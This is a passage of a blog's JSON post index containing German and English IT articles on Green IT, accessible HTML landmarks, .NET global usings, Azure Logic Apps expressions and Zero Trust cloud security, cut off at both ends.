dazu 2018 eine valide Bewertungsgrundlage in Form einer Studie veröffentlicht. Die enorme Komplexität der Wirkmechanismen zwischen Hard- und Software sind in dieser Erhebung in 25 Kriterien und 76 Indikatoren unterteilt. Zu ihnen gehören unter anderem die Energie- und Hardwareeffizienz, Abwärtskompatibilität, Plattformunabhängigkeit, Offlinefähigkeit und Deinstallierbarkeit sowie die Transparenz der Datenformate und des Quellcodes. Anhand dieser Kriterien können Entwicklungsteams die Nutzung von Hardware-Ressourcen durch Software in klar definierten Standardszenarien ermitteln und vergleichen. Darüber hinaus wurde ausgehend von den vorgestellten Kriterien und dem Vorgehen zur Messung der Energie- und Ressourceneffizienz ein blauer Engel für ressourcen- und energieeffiziente Software entwickelt. Die Vergabekriterien des Umweltzeichens bieten Entwicklern eine gute Orientierung, um mögliche Schwachstellen der Software zu erkennen und diese bereits bei der Entwicklung zu beseitigen. Auch Microsoft legt viel Wert auf die nachhaltige Softwareentwicklung. Hierzu hat der Tech-Gigant 8 Prinzipien festgelegt, die bei der Implementierung und Ausführung nachhaltiger Anwendungen eingesetzt werden. Die Prinzipien verweisen auf ein persönliches Projekt , das von Asim Hussain geleitet wird, und beruhen u.a. auf CO2-Intenzität, Energieproportionalität (die Beziehung zwischen dem in einem Computersystem verbrauchten Strom und der Geschwindigkeit), Netzwerkeffizienz und Demand Shifting (Verlagerung des Bedarfs in Regionen oder Zeiträume). Die Prinzipien sind anwendbar auf einige gängige Anwendungsarchitekturen, wie Web-Queue-Worker, N-tier und Microservices, und beinhalten konkrete Empfehlungen, wie die Optimierung des Netzwerkverkehrs, die Erhöhung der Rechenauslastung, die Optimierung von Datenbanken.\nFazit Green IT bietet große Chancen für den Umweltschutz, ein besseres Unternehmensimage und einen höheren Umsatz. Es gibt zahlreiche Möglichkeiten, die Nachhaltigkeit in der IT zu fördern und zu steigern. Schließlich sollte der Veränderungsprozess auf Augenhöhe mit technologischen Details betrachtet werden. Zu erkennen, ob eine gewisse Affinität für grüne Aktivitäten in der Organisation bereits besteht, kann es erleichtern, die Herausforderungen zu klären, denen man gegenübersteht. Wichtig sind auch die regelmäßige Messung und das konsequente Engagement sicherzustellen. Durch einen klaren Fokus auf die kontinuierliche Integration sowie Analyse von Daten ist es möglich, einen Rahmen für die kontinuierliche Verbesserung und den Fortschritt zu schaffen.\n","date":"11. Mai 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/green-it-warum-und-wie_hu20a7b54a01db4af530c6ceafaf3bb5e4_16993_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/green-it-warum-und-wie_hu20a7b54a01db4af530c6ceafaf3bb5e4_16993_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/green-it-warum-und-wie/","tags":["azure","microsoft-365","dynamics-365"],"title":"Green IT – Warum und Wie?"},{"categories":["How To"],"contents":"Barrierefreiheit im Internet Viele Anwendungen im Internet weisen Barrieren auf und schränken dadurch ihre Nutzer ein. Dies kann sich bereits durch Fehler in der mobilen Ansicht einer Webseite bemerkbar machen. Kritischer wird es jedoch, wenn aufgrund von Barrieren ganze Nutzergruppen von dem Zugang zu einer Anwendung ausgeschlossen werden. Besonders Menschen mit Behinderungen sind hiervon betroffen, da es ihnen oftmals nicht möglich ist, bestimmte Barrieren zu überwinden.\nDie „Web Accessibility Initiative“ (WAI) des „World Wide Web Consortium“ (W3C) entwickelte mit den „Web Content Accessibility Guidelines“ (WCAG) einen internationalen Standard zur barrierefreien Gestaltung des Internetangebots. Um die Inklusion auch national voranzutreiben, wurde dieser Standard zusätzlich in der deutschen „Barrierefreie Informationstechnik Verordnung“ (BITV) verankert. Es ist somit deutlich erkennbar, dass Barrierefreiheit einen immer höheren Stellenwert erreicht.\nVorgehensweise beim Entwickeln Trotz des hohen Stellenwerts der Barrierefreiheit kann es legitim sein, sich gegen Barrierefreiheit zu entscheiden. Dies kann der Fall sein, sofern man nicht den öffentlichen Vorgaben unterliegt und Einschränkungen der Nutzer ausschließen kann. Die Entscheidung eine Software barrierefrei zu entwickeln, sollte somit bewusst getroffen werden. Dies ist besonders wichtig, da zu Beginn definiert werden muss, welche Aspekte der Barrierefreiheit angegangen werden sollen. Diese können je nach Zielgruppen unterschiedlich sein wie zum Beispiel:\nFarben Kontraste Textgrößen Sprachausgabe Struktur für Webcrawler … Das Angehen ausgewählter Aspekte sollte anhand einer Prioritätsliste erfolgen. So gibt es beispielsweise einzelne Barrieren, die eine Anwendung gänzlich unnutzbar machen, andere hingegen beeinträchtigen nur den Komfort. Zudem empfiehlt sich im Allgemeinen für die barrierefreie Entwicklung auf UI-Frameworks oder auch A11Y (Accessibility) Linter zurückzugreifen. Mit diesen können Fehler bezüglich Barrierefreiheit bereits zu Beginn der Entwicklung vermieden oder entdeckt werden. Ebenso ist es wichtig eine Auswahl von Werkzeugen festzulegen. Diese sollten sowohl bei den zukünftigen Testern sowie den Endanwendern verbreitet sein um realistische Ergebnisse zu erhalten.\nVorgehensweise beim Testen Um die Einhaltung der Richtlinien für Barrierefreiheit zu prüfen, empfiehlt sich toolgestütztes Testen zu betreiben. Das W3C bietet hierzu eine große Liste an Software . Durch das Auditieren der Anwendung mit diesen Tools kann anhand der daraus generierten Berichten ermittelt werden, welche Richtlinie nicht eingehalten wurde. Ebenso kann anhand der dortigen Empfehlungen erkannt werden, welche Änderungen erforderlich sind, um den Standard zu erfüllen.\nNeben dem toolgestützten Testen ist auch das Testen durch Nutzer ein sehr wichtiger Aspekt. Erst dabei zeigt sich, ob die Software von einer Person mit Einschränkungen wirklich genutzt werden kann. Im besten Fall wird die Anwendung von Nutzern getestet, die auf die Barrierefreiheit angewiesen sind, um so ein realistisches Feedback zu erhalten. Alternativ kann auch mit nicht eingeschränkten Nutzern getestet werden, indem Barrieren simuliert werden. Dies kann Beispielsweise erreicht werden durch sehr hohe Lichteinstrahlung, stark vergrößerte Texte oder durch geschlossene Augen und einem Screenreader (digitale Sprachausgabe). Bei einer solchen Simulation ist jedoch wichtig, dass die Funktionsweise und Handhabung der entsprechenden Unterstützungssoftware den Testern bekannt ist. So ist etwa bei Nutzern von Screenreadern häufig verbreitet, mit der Taste „D“ zwischen bestimmten Bereichen in der der Anwendung zu springen. Ein Beispiel hierzu wird im nachfolgenden Absatz veranschaulicht.\nBeispiel: Aufbau eines Grundgerüsts\nNachfolgend ist ein stark vereinfachtes Beispiel abgebildet. Dort ist die Grundstruktur einer Webseite veranschaulicht. Diese beinhaltet ein Navigationsmenü, eine Titelleiste, ein Hauptinhaltsbereich und eine Fußleiste.\nDer zugrundeliegende Aufbau ist mit HTML abstrakt dargestellt. Dieser Aufbau entspricht nicht den Richtlinien für Barrierefreiheit. Blinde Menschen, die auf Screenreader angewiesen sind und diese Webseite aufrufen, werden starke Probleme in der Orientierung und Navigation haben, da wesentliche Informationen fehlen.\n\u0026lt;body data-rsssl=1\u0026gt; \u0026lt;div\u0026gt;Startseite\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;Landmarken Beispiel\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;Willkommen\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;Copyright\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; Eine bessere und barrierefreie Lösung hierfür ist die Nutzung von Ankerpunkten (sogenannte Sprungmarken oder Landmarken). Diese sind nachfolgend durch die semantischen HTML Elemente „nav“, „header“, „main“, „article“ und „footer“ dargestellt. Diese Elemente verändern die Struktur der Seite nicht, bieten jedoch mehr Informationen für Screenreader.\n\u0026lt;body data-rsssl=1\u0026gt; \u0026lt;nav\u0026gt;Startseite\u0026lt;/nav\u0026gt; \u0026lt;div\u0026gt; \u0026lt;header\u0026gt;Landmarken Beispiel\u0026lt;/header\u0026gt; \u0026lt;main\u0026gt; \u0026lt;article\u0026gt;Willkommen\u0026lt;/article\u0026gt; \u0026lt;/main\u0026gt; \u0026lt;footer\u0026gt;Copyright\u0026lt;/footer\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; Mit der Taste „D“ ist es den Nutzern nun möglich den Fokus auf Landmarken zu setzen und zwischen diesen zu springen. Von einer Landmarke aus sind dann weitere Navigationsschritte möglich wie bei der „Navigation“ die Auswahl eines Menüeintrags. Die Sprachausgabe des Screenreaders ergäbe somit je Sprung die folgende Information:\n„Navigation Sprungmarke – Startseite“ „Banner Sprungmarke – Landmarken Beispiel“ „Haupt Sprungmarke – Willkommen“ „Inhaltsangabe Sprungmarke – Copyright“ Anhand dieser Änderungen ist der erste Schritt in Richtung Barrierefreiheit gemacht. Blinde Nutzer können nun schnell einen Überblick über die Seitenstruktur erhalten und deutlich schneller zu gewünschten Bereichen navigieren. Um die volle Unterstützung für Screenreader zu bieten, gibt es noch viele weitere Punkte, die es zu berücksichtigen gilt wie Beispielsweise „ARIA-Attribute“ oder auch „Live Regions“.\nFazit Viele Angebote im Internet sind nicht barrierefrei. Dadurch werden ganze Anwendergruppen von deren Nutzung ausgeschlossen. Durch internationale Standards und gesetzlichen Verankerungen soll dem entgegengewirkt werden. Zu Beginn der Entwicklung einer Software sollte geplant werden, wie und in welchem Umfang das Thema Barrierefreiheit angegangen wird. Für die Entwicklung und das Testen der Anwendung kann auf Frameworks und Tools zurückgegriffen werden. Diese nehmen einen Großteil der Arbeit ab, wodurch sehr schnell viele Barrieren aufgelöst werden können.\n","date":"30. März 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/entwickeln-barrierefreier-webanwendungen_hu2645c883e7f872e1f887fe0d7eb89617_25310_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/entwickeln-barrierefreier-webanwendungen_hu2645c883e7f872e1f887fe0d7eb89617_25310_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/entwickeln-barrierefreier-webanwendungen/","tags":["frontend"],"title":"Entwickeln barrierefreier Webanwendungen"},{"categories":["Insights"],"contents":"TL;DR: I use implicit global usings for all global using directives in .NET6 projects. I use a separate GlobalUsings.cs file for all global usings in non-.NET6 projects.\nGlobal usings are a new language feature introduced with C# 10 allowing us developers to reduce clutter by defining a using-statement just once for the whole project so it doesn\u0026rsquo;t has to be repeated in every file accessing the imported namespace. Which is kind of nice, but immediately raised the question in my head how to organize these global usings without creating an intransparent mess.\nA base principle for organizing global usings should be in my opinion to just strictly consolidate them in one file and to not distribute them between multiple source files. This makes it more transparent which global usings are defined. Implicit global usings in .NET6 also follow that approach. And additionally, they are well integrated by making use of the build system - and so can we.\nImplicit global usings Implicit global usings is a new opt-in feature in .NET6 where some common namespaces (like System) can be made available globally in your project without explicitly defining any (global) usings for them. It can be enabled by adding\n\u0026lt;ImplicitUsings\u0026gt;enable\u0026lt;/ImplicitUsings\u0026gt; to your .csproj-file and is on by default for new projects.\nUnder the hood this is powered by the MSBuild system which auto-generates a \u0026lt;YOUR_PROJECT_NAME\u0026gt;.GlobalUsings.g.cs-file in the obj-directory as a pre-compilation step containing the global usings later consumed by the compiler. Which ones these are by default depends on the type of project, for example whether it is a Console or Web Application.\nBut, we can configure that.\nAn MSBuild item group for managing the generated global usings allows us to control which namespaces will be implicitly included or excluded. The following item group for example removes the default implicit global using of System and adds an implicit global using for System.Text.Json.\n\u0026lt;ItemGroup\u0026gt; \u0026lt;Using Remove=\u0026#34;System\u0026#34;\u0026gt; \u0026lt;Using Include=\u0026#34;System.Text.Json\u0026#34; /\u0026gt; \u0026lt;/ItemGroup\u0026gt; Conclusion Consolidate all global usings in a single file e.g. GlobalUsings.cs.\nIn .NET6 there actually is already such a file where global usings are consolidated in - namely the auto-generated one by the SDK. Use an MSBuild item group for configuring all global usings in the .csproj-file. This has the advantage of\nmanaging both implicit and explicit global usings in one place (by making them all implicit) not cluttering the project\u0026rsquo;s source directory with an additional file for global usings How do you use and organize global usings in your projects?\n","date":"24. März 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/how-i-organize-my-global-usings_hu8336fb2ff97a7fbea0c3e3cb4f359693_51526_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/how-i-organize-my-global-usings_hu8336fb2ff97a7fbea0c3e3cb4f359693_51526_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-i-organize-my-global-usings/","tags":[".net"],"title":"How I organize my global usings"},{"categories":["How To","Quick-Tipps"],"contents":"Mithilfe von Logic Apps können schnell und einfach auch komplexere und umfangreiche Verarbeitungsprozesse abgebildet werden. Dabei stellen Logic Apps eine Reihe an Aktionen (engl. Actions) und somit Konnektoren für eine viele unterschiedliche Systeme (u.a. HTTP-Anfragen, SFTP, SharePoint, Excel, SQL-Server usw.) und Verarbeitungsschritte (u.a. Definition von Variablen, IF-Bedingung, Schleifen usw.) bereit. Allerdings fehlten mir in der Vergangenheit Funktionen, welche sich durch die Verwendung von Aktionen und Workflowausdrucksfunktionen ergänzen lässt. Diese Tipps und Best Practices möchte ich in diesem Blogbeitrag genauer vorstellen.\nIn diesem Beitrag gehe ich nicht auf die genaue Funktionsweise einzelner Aktionen ein, oder wie eine Logic App im allgemeinen erstellt bzw. entwickelt oder provisioniert (CI) werden kann. Teile der hier vorgestellten Lösungen lassen sich Grundsätzlich auch in Power Automate umsetzen, wurden hierfür aber nicht primär entwickelt/ erprobt.\nVariablen in einer Schleife Bei der Verwendung von Variablen in einer Schleife erhält man oft nicht das gewünschte Verhalten, da die Schleife Standardmäßig nicht Sequentiell sondern parallel ausgeführt wird. Eine parallele Ausführung hat den Vorteil, dass die Gesamtausführungszeit zwar reduziert wird, der Wert der Variablen allerdings nicht für den jeweiligen Durchlauf/ Iteration die korrekten Daten hält, wenn diese innerhalb der Schleife zugewiesen wird. Dies liegt daran, dass die Variable außerhalb der Schleife initialisiert wird und somit global zur Verfügung steht.\nUm jedoch trotzdem Variablen innerhalb einer Schleife zuweisen zu können und den Wert des jeweiligen Schleifendurchlaufs zu erhalten, gibt es zwei Lösungsmöglichkeiten:\nZum einen lässt sich eine sogenannte „Concurrency Control“ aktivieren und auf 1 setzen. Dies hat zwar den Vorteil, dass der Variablenwert immer dem korrekten Durchlauf zugeordnet wird, allerdings verlängert das so aber auch die Gesamtlaufzeit der Logic App. Die Gesamtausführungszeit wird damit deutlich verlängert. Eine weitere Möglichkeit ist es die Compose-Aktion zu verwenden. Hierbei kann innerhalb der Schleife ein JSON-Compose aufgebaut werden, um auf die gewünschten Werte aus z.B. HTTP-Aufrufen zuzugreifen, diese zu modifizieren und innerhalb der Schleife verwenden zu können. Hierbei kann die volle Parallelisierung der Schleife angewandt werden. Logging von Entitäten Bei der Verarbeitung von Datensätzen und dem Anwenden von den ETL-Typischen Transformationen bis hin zum letztlichen Speichern in ein Zielsystem, kann ein umfangreiches Logging sehr von Vorteil sein. Hierbei sind insbesondere fachliche Einblicke interessant (aktuelles Element in der Verarbeitung in der Schleife usw.). Allerdings bietet Logic Apps z.B. bei einem Schleifendurchlauf keinerlei weitere Infos zum jeweiligen Element, durch welches gerade durchiteriert wurde.\nUm eine bessere Übersicht zu erhalten empfiehlt es sich hier zu Beginn einer Schleife eine Compose-Aktion mit dem Inhalt des aktuellen Elements auszuführen. Hierdurch sieht man im jeweiligen lauf direkt, welche Werte dieses Element vorwies.\nFalls innerhalb einer Schleife eine IF-Bedingung angewandt wird, um beispielsweise importierende Daten vorher zu validieren bzw. zu prüfen, empfiehlt es sich auch hier diese vor der Bedingung in einer Compose-Aktion ausgeben zu lassen. Bei deinem späteren durchlauf hat man lediglich das evaluierte Ergebnis der Werte (true oder false).\nUm für die spätere Übersicht einfach eine Liste aller erfolgreicher und nicht erfolgreicher Import-Vorgänge für die Basisdaten eingesehen werden kann, kann eine Array-Variable verwendet werden. Diese können zu Beginn der Logic App erstellt werden und Elemente werden dann innerhalb der Schleife zugewiesen. Wenn man dann z.B. eine IF-Bedingung für die Prüfung der Validierung verwendet, kann im jeweiligen Fall (valider oder invalider Datensatz) das Element der entsprechender Array-Variable zugewiesen werden. Hierbei ist darauf zu achten, dass die Run-After-Bedingung der entsprechenden Aktionen korrekt gesetzt sind. Hierzu müssen alle Fälle angehakt sein, damit dieser Schritt (Element dem Array Hinzufügen) auch durchgeführt wird. Am Ende des Durchlaufes muss das jeweilige Array noch via Compose-Aktion ausgegeben werden. Auch hier ist das korrekte Setzen der Run-After-Bedingung notwendig, um eine Ausführung sicherzustellen. Wenn nun ein weiterer Logic App-Durchlauf stattfindet kann sowohl im Schleifendurchlauf, als auch am Ende des Logic-App-Durchlaufs eine Ergebnis-Liste für Positiv- und Negativ-Fälle betrachtet werden.\nUnterschiedliche Trigger bei Recurrent-Trigger Logic Apps bieten mehrere Arten von Trigger (Auslöser). So können wiederkehrende Aufgaben eingeplant und ausgeführt werden. Es können unterschiedliche Tage und Uhrzeiten ausgewählt werden. Der Nachteil eines solchen Triggers ist u.a. die mangelnde Flexibilität einer Abweichenden Uhrzeit.\nWenn ich z.B. die Ausführung montags, mittwochs und freitags ausführen möchte, und hierzu für Montag und Mittwoch lediglich 18 Uhr eingeplant habe, für Freitag aber die Ausführung auf 14 Uhr einstellen möchte, so ist dies nicht ohne weiteres (oder durch komplexe Angabe der Trigger-Parameter) möglich. Die Konfiguration wird stets als UND interpretiert, d.h. im Standard wäre die Ausführung montags, mittwochs und freitags um 14 Uhr UND 18 Uhr, jeweils an den angegeben Tagen also zwei Mal pro Tag.\nDieses Verhalten kann umgangen werden, indem die Ausführungslogik von der Trigger-Logik getrennt wird. Man benötigt also zwei Trigger-Logic-Apps und die Logic App, welche die Verarbeitungslogik beinhaltet. So definiert man in den Trigger-Logic-Apps die jeweiligen Tage und Uhrzeit und fügt eine Logic App-Aktion, womit man eine weitere Ausführung einer Logic App triggert. In unserem Beispiel existiert also eine Trigger-Logic App mit den Tagen für Montag und Mittwoch für 18 Uhr und eine weitere für Freitag um 14 Uhr.\n| | |\nVerwendung von Workflowausdrucksfunktionen (Workflow Expression Functions) Mit den Workflowausdrücken können inline in Aktionen Modifikationen für Werte durchgeführt werden. So existieren einige hilfreiche Funktionen wie z.B. die setProperty()-Funktion, welche eine Eigenschaft samt Wert einem bestehenden JSON-Objekt hinzufügt. Im weiteren Verlauf gehe ich auf besondere Anwendungsfälle ein und zeige welche Kombination solcher Workflowausdrucksfunktionen verwendet werden können, um Anforderungen hiermit umzusetzen.\nAusgabe eines nicht leeren Strings Wenn man in einem Verarbeitungsprozess der Logic App bestimmte Werte ermitteln muss, welche z.B. importiert werden sollen, eignen sich hierzu einige Funktionen hierzu. Wenn man beispielsweise Werte aus einer Excel-Tabelle importieren möchte und die Basis z.B. drei Spalten die mögliche Quelle für einen Wert im Zielsystem sind, sollte hier nach der Reihe geprüft werden, ob die Spalte einen Wert besitzt. Falls dies nicht der Fall ist, sollte zur nächsten Spalte gegangen werden, bis hin zum setzen des NULL-Wertes, wenn keine der drei Spalten einen Wert geführt hat.\nHierzu eignet sich zum einen die Funktion coalesce, welche immer den ersten Nicht-NULL-Wert der Eingabewerte ausgibt. Dabei können beliebig viele Eingaben an die Funktion zur Prüfung übergeben werden.\nWenn wir erneut unser Beispiel mit drei Spalten betrachten kann eine mögliche Lösung so aussehen:\ncoalesce(if(not(empty(items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte1\u0026#39;])), items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte1\u0026#39;], null), if(not(empty(items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte2\u0026#39;])), items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte2\u0026#39;], null), if(not(empty(items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte3\u0026#39;])),items(\u0026#39;forEachExcelItem\u0026#39;)?[\u0026#39;Spalte3\u0026#39;], null)) Es wird mit der Funktion if, not und empty geprüft, ob die Eingabe Leer ist. Falls dies der Fall ist, wird hier ein NULL-Wert gesetzt, falls nicht, wird der Wert ausgegeben. Die Coalesce-Funktion gibt dann entsprechend den ersten Wert aus, welcher nicht NULL ist.\nErmittlung des aktuellen Quartals Wenn man bei der Verarbeitung in der Logic App mit Datums und Quartalswerten arbeiten möchte hat man im Wesentlichen zwei Optionen: entweder man erstellt einen Endpunkt (z.B. mit Azure Functions), welche entsprechende Quartal für ein Quelldatum ermittelt und zurückliefert, oder man errechnet den Wert via Workflowausdrucksfunktion.\nWir möchten uns hier einen umfangreichen Ausdruck betrachten, welcher als Eingabe einen Monat erwartet. Dieser kann z.B. durch die Funktion int(utcNow(‚MM‘)) ermittelt und in eine Variable (month) geschrieben werden.\nif(and(greaterOrEquals(variables(\u0026#39;month\u0026#39;),1), lessOrEquals(variables(\u0026#39;month\u0026#39;),3)), 1, if(and(greaterOrEquals(variables(\u0026#39;month\u0026#39;),4), lessOrEquals(variables(\u0026#39;month\u0026#39;),6)), 2, if(and(greaterOrEquals(variables(\u0026#39;month\u0026#39;),7), lessOrEquals(variables(\u0026#39;month\u0026#39;),9)), 3, if(and(greaterOrEquals(variables(\u0026#39;month\u0026#39;),10), lessOrEquals(variables(\u0026#39;month\u0026#39;),12)),4,0)))) Im Prinzip werden hier in einem verschachtelten IF-Ausdruck die Quartalsunter- und -obergrenzen verglichen (mithilfe von „greaterOrEquals“ und „lessOrEquals“). Dies wird für jeweils 4 Quartale durchgeführt. Falls der Monat fälschlicherweise kleiner als 1 oder größer als 12 angegeben wurde, wird das Quartal als 0 gesetzt (Fehlerhafter Wert). Das Ergebnis kann man nun erneut in eine Variable speichern und im weiteren Verlauf der Logic App wiederverwenden.\nFazit Diese Beispiele sollen als Grundlage dienen, um die unterschiedlichen Möglichkeiten von Logic Apps aufzuzeigen. Natürlich stellt diese Übersicht nur einen Bruchteil der Funktionen dar. Außerdem wollte ich durch die Darstellung der Workflowausdrucksfunktionen zeigen, das vermeintliche einfache Funktionen (z.B. ermitteln des aktuellen Quartals) einen umfangreichen Ausdruck erfordern. Hierbei sollte man die Wartbarkeit im Auge behalten, denn desto verschachtelter Ausdrücke verwendet werden, desto schwieriger wird es diese später zum einen zu Warten und zum anderen evtl. zu erweitern (siehe Beispiel der Ausgabe eines nicht leeren Strings). Dennoch bieten Workflowausdrucksfunktionen eine sehr gute Möglichkeit Operationen direkt in der Logic App durchzuführen, ohne direkt einen externen (REST-) Endpunkt implementieren zu müssen.\n","date":"10. März 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/logic-apps-tipps-und-best-practice_hu873af6ee7831a7f69c0d11cb99563515_97545_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/logic-apps-tipps-und-best-practice_hu873af6ee7831a7f69c0d11cb99563515_97545_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/logic-apps-tipps-und-best-practice/","tags":["automation","low-code"],"title":"Logic Apps: Tipps und Best Practice"},{"categories":["Insights"],"contents":"Fühlen Sie sich gut gegen Cyberangriffe gewappnet? Das Bundeskriminalamt verzeichnete im Jahr 2020 rund 108.474 Delikte im Bereich Cybercrime, das sind 7,92 Prozent mehr als im Vorjahr. Gründe dafür sind die fortschreitende Digitalisierung in allen Bereichen, aber auch die zunehmende Professionalisierung der Täter. Dieser Entwicklung ist es schwierig, zeitnah entgegenzuwirken, so sank die Aufklärungsrate von Cybercrime seit 2017 um circa 7 Prozent. Umso wichtiger ist also, die eigene Cloud Security zu priorisieren, um die Sicherheit Ihres Unternehmens zu schützen ¬– wir zeigen Ihnen wie.\nWie können Sie sich mit dem Zero-Trust-Prinzip gegen Cyberangriffe schützen? Durch vermehrtes Homeoffice und hybride Arbeitsmodelle kommen im Bereich der Cybersecurity neue Herausforderungen auf Unternehmen zu. Zero Trust bietet dafür den präferierten Lösungsansatz, um sicheres, flexibles und mobiles Arbeiten zu ermöglichen.\nDas Zero-Trust-Prinzip Im Zentrum des Zero-Trust-Prinzips steht die Authentifizierung. Keinem User wird ein automatischer Zugriff auf Daten gewährt, sondern jeder einzelne Zugriff bedarf einer eigenen Authentifizierung. Diese Methode steht im Kontrast zu der Praxis, die Sicherheit eines Unternehmens hauptsächlich nach außen hin zu schützen.\nZero Trust legt seinen Fokus jedoch auf die Daten und überprüft jeden Fall individuell, unabhängig von der Position oder Vorgeschichte der betroffenen Identitäten. Als Identitäten werden in diesem Fall Personen, Geräte, Anbieter oder auch Programme bezeichnet.\nVorteile von Zero Trust An dieser Stelle bietet das Zero-Trust-Konzept folgende Vorteile:\nFlexible Arbeitsorte, da sich ortsunanbhängig verifiziert werden kann. Schneller und sicherer Zugriff auf cloudbasierte Systeme Kostensparend im Security-Bereich durch weniger Bedarf an Lizenzen diverser Sicherheitssoftwares Aktive Risikominimierung durch implementierung des Zero-Trust-Prinzips, ein Ansatz für dem geschäftsinternen Datenschutz Die Schritte zu einer sicheren Cloud-Umgebung Zu Beginn ist es essenziell, eine toolbasierte Bestandsaufnahme anhand der Zero-Trust-Prinzipien durchzuführen, diese sind:\nExplizite Kontrollen Stetige Durchführung von Authentifizierungen und Autorisierungen\nPrinzip der geringsten Berechtigungen Just-In-Time- und Just-Enough-Access-Zugriffe für höchste Datensicherheit und Datenschutz\nWas tun, wenn…? Rechnen Sie immer mit einer möglichen Bedrohung. Dafür ist es wichtig, stets End-to-End-Verschlüsselung, Radiusminimierung und Sichtbarkeitsanalysen durchzuführen.\nDarauffolgend wird ein faktenbasierter, individueller Aktionsplan zur schrittweisen Umsetzung einer Zero-Trust-Sicherheitsarchitektur ausgearbeitet. Dafür müssen Zero-Trust-Infrastrukturen aufgebaut werden, welche optimalen Schutz in hybriden und Multi-Cloud-Szenarien bieten.\nDiese Zero-Trust-Prinzipien sollten nach Microsoft in den folgenden Bereichen implementiert werden:\nIdentität, Endpunkte, Anwendungen, Daten, Infrastruktur, Netzwerke und Automatisierung. Implementierung einer Cloud-Security-Lösung Auf dieser Basis werden Prozesse erstellt, die es Ihnen ermöglichen, proaktiv vorzugehen und im Falle eines Angriffs schnell handeln zu können. Voraussetzung hierfür ist die Implementierung und kontinuierliche Begleitung einer passenden Cloud-Security-Lösung. Mit dieser können Sie folgende Maßnahmen umsetzen.\nSchutzfläche festlegen Definieren Sie eine Schutzfläche und überprüfen Sie, inwiefern Ihre Kommunikation und Netzwerke diese betreffen. Jetzt können Sie Kontrollmechanismen nahe den gesetzten Schutzflächenpunkten setzen.\nErmittlung von Transaktionsströmen Verfolgen Sie die Informationsflüsse, um sie identifizieren und folglich schützen zu können.\nAufbau einer Zero-Trust-Architektur Anhand der Schutz- und Informationsfläche liegt es nun an Ihnen, passende Softwarelösungen, bzw. Intrusion-Detection-Systeme, zu finden.\nFestlegen der Zero-Trust-Richtlinien Implementieren Sie Ihre Zero-Trust-Regeln, dafür kann die „Kipling Methode“ hilfreich sein, welche sich an den W-Fragen zur Lösungsfindung orientiert.\nÜberwachung Damit Ihr Unternehmen von diesen Steps profitieren kann, muss das Zero-Trust-Prinzip stets gefördert, gepflegt und überwacht werden.\nErfolgreiches Changemanagement als Katalysator für Veränderung Essenziell ist es, an dieser Stelle zu betonen, dass passende Softwarelösungen nicht nur eingeführt, sondern auch strategisch begleitet werden sollten. Das bedeutet, dass Prozesse angepasst werden müssen und die Mitarbeitenden spezifische Schulungen erhalten, welche die Veränderungen begleiten, denn Veränderungen sind nicht immer einfach, und hängen stark von Kommunikation ab. Aber welche Anwendungen unterstützen Sie bei der Ein- und Durchführung der No Trust Methode?\nSIEM – Security Information and Event Management SIEM-Tools führen Passwort- und Log-in-Daten übergreifend zusammen. Diese Daten werden anschließend in Datenanalysetools eingespeist, um Sicherheitsbedrohungen oder untypische Ereignisse zu erkennen. Dies führt zu einer nicht unbedenklichen zeitlichen Verzögerung in der Reaktionszeit und sorgt für mögliche Überlastungen in der IT-Abteilung. Ein neuerer Ansatz ist an dieser Stelle SOAR.\nSOAR – Security Orchestration, Automation and Response SOAR bezeichnet eine Mischung an Programmen, welche es Ihnen ermöglichen, Daten aus unterschiedlichen hybriden Systemen zu sammeln und auf Sicherheitsbedrohungen zu überprüfen. SOAR-Lösungen arbeiten dafür mit künstlichen Intelligenzen und individuellen Playbooks, um eine kontinuierliche Überwachung und Cloud Security in Echtzeit zu garantieren. Mit einem Frühwarnsystem wie Microsoft Sentinel, welches die Funktionen von SIEM und 